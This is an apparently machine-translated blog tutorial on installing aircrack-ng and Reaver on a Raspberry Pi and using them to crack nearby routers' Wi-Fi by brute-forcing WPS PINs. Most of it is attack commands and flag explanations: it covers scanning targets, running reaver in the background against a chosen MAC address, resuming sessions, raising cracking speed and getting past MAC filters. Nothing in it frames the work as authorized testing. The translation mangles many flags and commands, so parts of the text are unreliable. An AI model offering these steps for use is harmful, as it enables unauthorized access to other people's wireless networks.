Raspberry Pi (RASPBERRYPI) Installation AIRCRACK-NG, REAVER and WIFI cracking tutorial [finishing], Raspberry Pi aircrack

Raspberry Pi (RASPBERRYPI) Installation AIRCRACK-NG, REAVER and WIFI cracking tutorial [finishing], Raspberry Pi aircrack
Link: http://www.findspace.name/res/1184

Reprinted please note

Hardware environment

Raspberry Pi B + (I am using the debian environment)
One PC (or other devices can directly operate PI)
Wireless Network Card (only available, but powerful wireless network card will get twice the result with half the effort, I use 3070)

Find note:

Wireless Network Card is not any OK, need to support listening mode can, support list can view here: https://wikidevi.com/wiki/Wireless_adapters/Chipset_table

Install dependency packages

sudo apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark subversionsudo apt-get install libnl-3-200 libnl-3-dev libnl-3-doc libnl-genl-3-dev libnl-genl-3-200

Install aircarck-ng

svn co http://svn.aircrack-ng.org/trunk/ aircrack-ngcd aircrack-ng/makesudo make install

Install reaver

wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gztar zxvf reaver-1.4.tar.gzcd reaver-1.4/src./configuremakesudo make install

The above two resource packages can be found here:
Baidu online storage sharing
If the installation is successfulairmon-ng,airodump-ng,reaverAnd other commands are available.

Cracking tutorial


sudo airmon-ng start wlan0
sudo airodump-ng mon0


Based on the wireless signal found in the above airodump, you can then pick a strong signal for cracking (note that you must enable the WPS function)
Pay attention to this list. The list shows information about wireless connections around you. Note that the MB column is displayed as "54" and "54e. "Wait, this indicates the current wireless speed mode and the WPS enabling status. My own router is" steve ". Please note," 54e "and" 54e. "It is different. An extra vertex indicates that the wps mode is enabled. Therefore, we will perform wps detection below. here we need to remember the MAC address corresponding to the SSID, and then we will conduct attacks and detection on the MAC address.
! [] [3]

sudo reaver -i mon0 -b 00:00:00:00:00:00 -a -S -vv -d2 -t 5 -c 11

-Vv is used to view detailed information. After you become proficient, you can use-v, which is simple. Generally,-vv is used only when a problem occurs.
If you want to crack the host, remember to add the nohup command to disconnect ssh. Then wait.

nohup sudo reaver -i mon0 -b 00:00:00:00:00:00 -a -S -vv -d2 -t 5 -c 11 -o fbi &

-oThe parameter is output to the file.
After successful cracking, open the output log and you will see the reaver password.
! [] [4]

Command Description: reaver usage:

Airmon-ng start wlan0 // start mon0 monitoring
Reaver-I mon0-B MAC-a-S-vv // common usage

If the system crashes or stops after the 90.9% process, write down the first four digits of the PIN and run the following command:

Reaver-I mon0-B MAC-a-vv-p XXXX (first four digits of PIN)

Other commands

Airodump-ng mon0 is used to scan wireless signals around
Wash-I mon0-C this is used to detect nearby wireless support for PIN Routing

If the pin remains unchanged, add the-N parameter.

Reaver-I mon0-B xx: xx-d 0-vv-a-S-N
You can also add latency-t 3-B 3

FAQ about common parameters

-I: The monitoring interface with the interface name Nic after the listener, usually mon0
-B: the mac address of the target MAC address AP
-A: Automatically detects the optimal configuration of the target AP.
-S uses the smallest DH key to increase PJ speed
-Vv: show more non-severe warnings
-D is the default idle time for every call of delay. It is set to 1 second.
Reaver-I mon0-B MAC-d 0
Using the above commands can greatly Speed Up PJ, but some APs may not be able to stand it.
-C (followed by the number of channels) specifies the channel to facilitate the identification of Signals
-P PIN: four or eight digits. // the first four digits of the known pin can contain this parameter, indicating that the pin starts from this number. You can find the password with 8 bits.
-N does not send NACK information (if the pin remains unchanged, you can try this parameter)
-N always sends NACK to the target AP. The default value is automatic.
-T is the longest time for timeout to wait for feedback. If the signal is good, you can do this ###.
Reaver-I mon0-B MAC-d 0-t. 5
-M,-mac = specifies the MAC address of the local machine, which must be used when the AP has a MAC Filter

Summary-parameters should be adjusted as needed when PJ:

Excellent signal:
Reaver-I mon0-B MAC-a-S-vv-d 0-c 1
Common signals:
Reaver-I mon0-B MAC-a-S-vv-d. 5-t. 5-c 1
General signal:
Reaver-I mon0-B MAC-a-S-vv-c 1

When there is a percentage, you can use crtl + c to pause. It will save the reaver schedule file in
Version 1.3:
/Etc/reaver/MAC address. wpc
Version 1.4:
/Usr/local/etc/reaver/MAC address. wpc
Use the resource manager to manually copy the wpc file named after the MAC address to the USB flash drive or hard disk,
After the next restart, manually copy it to the/etc/reaver/directory.

Not all routes support pin learning. If the AP disables WPS or does not have a QSS drop
WARNING: Failed to associate with XX: XX (ESSID: XXXX)
During the learning process, you can press Ctrl + C to terminate PJ at any time and repeat the same PIN or timeou t to terminate. reaver automatically saves the progress.
Continue the previous PJ, and send it again in the terminal:
Reaver-I mon0-B MAC-vv
After this command is issued, you will be asked to select y or n, and then select y to continue.
After reaver confirms the first four PIN passwords, the progress of the job completion task will jump to more than 90.9%, that is, only the remaining one thousand passwords are combined (a total of eleven thousand passwords ).

Parameter Details:
-M,-mac = MAC of the host system
Specifies the MAC address of the local machine. It must be used when the AP has a MAC filter.
-E,-essid = ESSID of the target AP
The ESSID of the router.
-C,-channel = Set the 802.11 channel for the interface (implies-f)
Signal channel. If not specified, the system automatically scans
-O,-out-file = Send output to a log file [stdout]
Standard output to files
-S,-session = Restore a previous session file
Recover process files
-C,-exec = Execute the supplied command upon successful pin recovery
Run the command after the pin is successful.
-D,-daemonize Daemonize reaver
Set reaver to Daemon
-A,-auto Auto detect the best advanced options for the target AP
Advanced parameters for Automatic Target AP Detection
-F,-fixed Disable channel hopping
Disable channel navigation
-5,-5 ghz Use 5 GHz 802.11 channels
Use 5g Channels
-V,-verbose Display non-critical warnings (-vv for more)
Show unimportant warning information-vv can show more
-Q,-quiet Only display critical messages
Show only key information
-H,-help Show help
Show Help

-Vv: show more non-severe warnings

Advanced parameters:
-P,-pin = Use the specified 4 or 8 digit WPS pin
Directly read psk (my test failed, it is recommended to use the software on the NIC)
-D,-delay = Set the delay between pin attempts 1
Latency between pin. The default value is 1 second. 0 is recommended.
-L,-lock-delay = Set the time to wait if the AP locks WPS pin attempts [60]
Wait time after AP locks WPS
-G,-max-attempts = Quit after num pin attempts
Max pin count
-X,-fail-wait = Set the time to sleep after 10 unexpected failures [0]
Wait time after 10 unexpected failures. The default value is 0 seconds.
-R,-recurring-delay = Sleep for y seconds every x pin attempts
Wait for y seconds after pin every x times
-T,-timeout = Set the receive timeout period [5]
Package receiving times out. The default value is 5 seconds.
-T,-m57-timeout = Set the M5/M7 timeout period [0.20]
M5/M7 timeout, 0.2 seconds by default
-A,-no-associate Do not associate with the AP (association must be done by another application)
Do not connect to the AP (other programs must be completed during the connection)
-N,-no-nacks Do not send NACK messages when out of order packets are already ed
Do not send NACK information (if the pin remains unchanged, try this parameter)
-S,-dh-small Use small DH keys to improve crack speed
Use small DH key values to increase the speed (recommended)
-L,-ignore-locks Ignore locked state reported by the target AP
Ignore the locked status reported by the target AP
-E,-eap-terminate Terminate each WPS session with an eap fail packet
Terminate the WPS process whenever an EAP failure packet is received.
-N,-nack Target AP always sends a NACK [Auto]
NACK is always sent to the target AP.
-W,-win7 Mimic a Windows 7 registrar [False]
Simulate win7 registration, disabled by default

Reference:
Http://lok.me/a/1972.html
Http://bao3.blogspot.com/2013/05/raspberry-pi.html
Http://tieba.baidu.com/p/2682878857
Http://www.nyaboron.moe/posts/606.html

[3]: http://lok.me/wp-content/uploads/2014/11/2.png'
[4]: http://lok.me/wp-content/uploads/2014/11/3.png ""